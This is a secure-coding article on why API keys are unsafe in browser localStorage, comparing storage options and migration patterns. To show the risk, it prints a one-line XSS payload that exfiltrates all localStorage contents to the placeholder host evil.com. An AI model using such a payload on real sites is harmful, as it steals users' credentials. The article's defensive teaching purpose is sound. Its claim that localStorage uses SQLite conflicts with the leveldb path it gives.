API Key Storage: Why localStorage Is Dangerous and What to Use Instead
Storing API keys in localStorage is one of the most common security mistakes in web development. It is easy to do, the API is simple, and it works immediately. But localStorage was never designed for secrets. It provides zero encryption, zero access control, and is vulnerable to the most prevalent attack vector on the web: cross-site scripting.
This article explains exactly why localStorage is dangerous for API keys, compares it against every alternative storage mechanism available in the browser, and provides concrete migration strategies for each.
How localStorage Actually Works
The localStorage API stores key-value pairs as plain strings in a SQLite database on the user's file system. On Chrome, this file lives at:
~/Library/Application Support/Google/Chrome/Default/Local Storage/leveldb/
The data is not encrypted. It persists until explicitly deleted. Any JavaScript running on the same origin can read every value stored in localStorage. This includes:
- Your application code. This is the intended use case.
- Third-party scripts. Analytics, advertising, chat widgets, and any other script loaded on your page has full access to the same
localStorage. - Injected scripts from XSS. A single cross-site scripting vulnerability gives an attacker the ability to run
localStorage.getItem('api_key')and exfiltrate every stored secret. - Browser extensions. Content scripts from installed extensions can access
localStorageon any page they have permission to run on.
The XSS Problem
Cross-site scripting is the number one vulnerability on the web. OWASP has ranked it in the top three for over a decade. Every web application has potential XSS vectors: user-generated content, URL parameters reflected in the DOM, third-party widgets, and compromised CDN scripts.
An XSS payload that steals localStorage is trivial:
// Attacker's XSS payload
new Image().src = 'https://evil.com/steal?data=' +
encodeURIComponent(JSON.stringify(localStorage));
This single line exfiltrates every key-value pair in localStorage as a URL parameter on an image request. It executes in milliseconds, leaves no visible trace, and works on every browser. If your API keys are in localStorage, this payload delivers them to the attacker instantly.
Why "we sanitize input" is not sufficient
Input sanitization reduces XSS risk but does not eliminate it. A single missed edge case, a framework update that changes escaping behavior, or a third-party dependency with a DOM manipulation vulnerability is enough. Security engineers plan for the scenario where XSS occurs, not the scenario where it never does.
Comparing Every Browser Storage Option
sessionStorage
Identical to localStorage in terms of access control: any JavaScript on the same origin can read it. The only difference is that data is cleared when the tab closes. This reduces the window of exposure but does not prevent XSS-based exfiltration. If an attacker can execute JavaScript while the session is active, sessionStorage is equally compromised.
Verdict: Marginally better than localStorage but fundamentally the same vulnerability. Not suitable for API keys.
Cookies with HttpOnly and Secure flags
Cookies marked with HttpOnly cannot be read by JavaScript at all. This makes them immune to XSS-based exfiltration. The Secure flag ensures they are only transmitted over HTTPS, and SameSite=Strict prevents CSRF attacks.
Set-Cookie: api_token=sk_live_xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=86400
Verdict: The best option for tokens used in server communication. The browser automatically includes the cookie in requests, and JavaScript never has access to the value. However, cookies are sent with every request to the matching domain, which may expose the key in server logs if not handled carefully.
IndexedDB
IndexedDB provides structured storage with more capacity than localStorage. However, it has the same access control model: any JavaScript on the same origin can read all data. It is not a security improvement over localStorage for secret storage.
Verdict: Not suitable for API keys. Same XSS vulnerability as localStorage.
Web Crypto API with IndexedDB
The crypto.subtle API provides browser-native cryptographic operations. You can encrypt API keys using AES-GCM before storing them in IndexedDB. The encryption key is derived from a user-provided password using PBKDF2 or is generated and stored as a non-extractable CryptoKey object.
// Generate a non-extractable key
const key = await crypto.subtle.generateKey(
{ name: 'AES-GCM', length: 256 },
false, // non-extractable
['encrypt', 'decrypt']
);
// Encrypt the API key
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv },
key,
new TextEncoder().encode('sk_live_your_api_key')
);
// Store encrypted blob in IndexedDB
// The CryptoKey object can be stored in IndexedDB too
// but cannot be exported as raw bytes
Verdict: A strong option for client-side applications. An XSS attacker can call the decryption function if the key is in memory, but they cannot extract the raw CryptoKey. Combined with short session lifetimes and vault locking, this is a viable approach.
chrome.storage.local (Extension Storage)
The Chrome extension storage API is isolated from web page JavaScript. No content script injected by a compromised page can access it (though the extension's own content scripts can). Data is stored unencrypted on disk, but the access boundary is significantly stronger than localStorage.
Verdict: Good for browser extensions that manage API keys. Should be combined with encryption for high-value secrets.
The Recommended Architecture
For most web applications, the architecture should follow these principles:
- API keys should never exist in the browser. Server-to-server communication should use API keys directly. Your frontend should call your backend, which adds the API key before forwarding to third-party services. The browser never sees the key.
- Session tokens belong in HttpOnly cookies. Your authentication token should be a short-lived JWT or session ID stored in an HttpOnly, Secure, SameSite cookie. The server validates it on each request.
- If client-side storage is unavoidable (like a browser extension or a client-only tool), use the Web Crypto API to encrypt all secrets before storage. Derive the encryption key from a user password and clear it from memory on idle timeout.
Migrating Away from localStorage
For web applications
If your web application currently stores API keys in localStorage, the migration path depends on your architecture:
- API proxy pattern. Create a server-side endpoint that proxies requests to the third-party API. Move the API key to an environment variable on your server. The frontend sends requests to your proxy, which attaches the key server-side. This is the correct solution for most cases.
- Token exchange pattern. If your user needs their own API key (like for an OpenAI integration), store it server-side associated with their account. Issue a short-lived session token for browser use. The browser sends the session token, and your server looks up and uses the actual API key.
For browser extensions
Browser extensions should migrate from localStorage to chrome.storage.local with encryption:
- Read existing values from
localStorage. - Encrypt each value using
crypto.subtlewith a key derived from the user's master password. - Store the encrypted blobs in
chrome.storage.local. - Delete the
localStorageentries. - Update all read/write operations to use the encrypted storage path.
For single-page applications
SPAs that manage tokens for authenticated API access should use the Backend for Frontend (BFF) pattern. The BFF is a lightweight server that handles token management:
- The SPA authenticates with the BFF.
- The BFF stores tokens in a secure, server-side session.
- The SPA receives an HttpOnly session cookie.
- API requests go through the BFF, which attaches the real token.
- The browser never stores or handles the API token directly.
Common Objections
"Our CSP prevents XSS"
Content Security Policy is a strong defense layer, but it is not perfect. CSP bypass techniques are regularly discovered. A strict CSP significantly reduces XSS risk, but it does not make localStorage safe for secrets. Defense in depth means not relying on any single layer.
"The key is already visible in the frontend source"
If the API key is embedded in your JavaScript bundle, localStorage vs. cookies is irrelevant because the key is already exposed. The solution is to move the key to your server, not to argue about where to store it on the client.
"It is just a development key"
Development keys often have broader permissions than production keys because developers grant themselves full access during development. A leaked development key can be more damaging than a carefully scoped production key. Treat all keys with the same security rigor.
Audit Your Codebase
Search your codebase for these patterns right now:
// Red flags to search for
localStorage.setItem('api_key'
localStorage.setItem('token'
localStorage.setItem('secret'
localStorage.setItem('auth'
localStorage.setItem('credential'
If you find any of these, you have a migration task. The longer secrets sit in localStorage, the longer they are exposed to every XSS vulnerability, every browser extension, and every shared computer session that accesses your application.
Move your keys to the server. Encrypt what must stay in the browser. Delete what should never have been stored. The tools exist and the patterns are proven. The only risk is inaction.